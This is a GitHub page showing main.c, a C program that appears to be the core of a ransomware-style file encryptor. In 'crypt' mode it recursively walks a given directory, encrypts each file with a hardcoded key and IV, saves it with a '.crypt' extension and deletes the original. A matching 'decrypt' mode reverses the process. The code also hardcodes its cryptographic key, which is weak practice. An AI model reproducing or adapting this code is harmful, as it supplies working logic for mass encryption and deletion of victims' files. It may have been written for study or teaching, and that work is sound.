-
Notifications
You must be signed in to change notification settings - Fork 9
/
main.c
115 lines (102 loc) · 2.54 KB
/
main.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include "lib/crypt.h"
#include "lib/function.h"
#define DEBUG
char* iv = "qwertyuiopasd";
char* key = "asdfghjklzxcvbnmqwertyuiopasdfgh";
char* ext = ".crypt";
int VisitCrypt(char* path);
int VisitDecrypt(char* path);
int main(int argc, char const *argv[]) {
if(argc == 3){
char* path = (char*) argv[2];
if(strcmp(argv[1],"crypt") == 0)
VisitCrypt(path);
else if(strcmp(argv[1], "decrypt") == 0)
VisitDecrypt(path);
else
printf("An input error has occurred\n");
}
else
printf("An input error has occurred\n");
return 0;
}
int VisitCrypt(char* path){
struct dirent *de;
DIR *dr = opendir(path);
//passo base
if(dr == NULL){
#ifdef DEBUG
printf("%s è un file\n", path);
#endif
return 0;
}
char *newName, *toVisit;
FILE *old, *nuovo;
while((de=readdir(dr)) != NULL){
if(strcmp(de->d_name,".") != 0 && strcmp(de->d_name,"..") != 0 && strstr(de->d_name,ext) == NULL){
#ifdef DEBUG
printf("VISITO %s CHE CONTIENE %s\n", path, de->d_name);
#endif
toVisit = linkStr(path, de->d_name, 1);
//passo ricorsivo
if(VisitCrypt(toVisit) == 0){
newName = linkStr(toVisit,ext,0);
old = fopen(toVisit, "rb");
nuovo = fopen(newName, "wb");
encrypt(old,nuovo,key,iv);
#ifdef DEBUG
printf("criptato\n");
#endif
deleteFile(toVisit);
fclose(old);
fclose(nuovo);
free(newName);
}
free(toVisit);
}
}
closedir(dr);
return 1;
}
int VisitDecrypt(char* path){
struct dirent *de;
DIR *dr = opendir(path);
//passo base
if(dr == NULL){
#ifdef DEBUG
printf("%s è un file\n", path);
#endif
return 0;
}
char *newName, *toVisit;
FILE *old, *nuovo;
while((de=readdir(dr)) != NULL){
if(strcmp(de->d_name,".") != 0 && strcmp(de->d_name,"..") != 0){
#ifdef DEBUG
printf("VISITO %s CHE CONTIENE %s\n", path, de->d_name);
#endif
toVisit = linkStr(path, de->d_name, 1);
//passo ricorsivo
if(VisitDecrypt(toVisit) == 0 && strstr(de->d_name,ext) != NULL){
newName = removeLastChars(toVisit, strlen(ext));
old = fopen(toVisit, "rb");
nuovo = fopen(newName, "wb");
decrypt(old,nuovo,key,iv);
#ifdef DEBUG
printf("decriptato\n");
#endif
deleteFile(toVisit);
fclose(old);
fclose(nuovo);
free(newName);
}
free(toVisit);
}
}
closedir(dr);
return 1;
}